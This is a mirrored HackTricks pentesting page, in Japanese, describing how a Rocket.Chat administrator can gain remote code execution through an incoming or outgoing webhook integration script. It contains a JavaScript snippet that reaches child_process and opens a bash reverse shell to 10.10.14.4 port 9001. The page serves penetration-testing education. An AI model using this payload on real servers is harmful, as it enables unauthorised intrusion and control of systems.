mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
37 lines
1.6 KiB
Markdown
37 lines
1.6 KiB
Markdown
# Rocket Chat
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## RCE
|
||
|
||
Rocket Chatの管理者であれば、RCEを取得できます。
|
||
|
||
- **`Integrations`**に移動し、**`New Integration`**を選択して、**`Incoming WebHook`**または**`Outgoing WebHook`**のいずれかを選択します。
|
||
- `/admin/integrations/incoming`
|
||
|
||
<figure><img src="../../images/image (266).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
- [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations)によると、両方ともES2015 / ECMAScript 6([基本的にJavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c))を使用してデータを処理します。では、[rev shell for javascript](../../generic-hacking/reverse-shells/linux.md#nodejs)を取得しましょう。
|
||
```javascript
|
||
const require = console.log.constructor("return process.mainModule.require")()
|
||
const { exec } = require("child_process")
|
||
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
||
```
|
||
- WebHookを設定します(チャンネルと投稿のユーザー名が存在する必要があります):
|
||
|
||
<figure><img src="../../images/image (905).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
- WebHookスクリプトを設定します:
|
||
|
||
<figure><img src="../../images/image (572).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
- 変更を保存します
|
||
- 生成されたWebHook URLを取得します:
|
||
|
||
<figure><img src="../../images/image (937).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
- curlで呼び出すと、rev shellを受け取るはずです
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|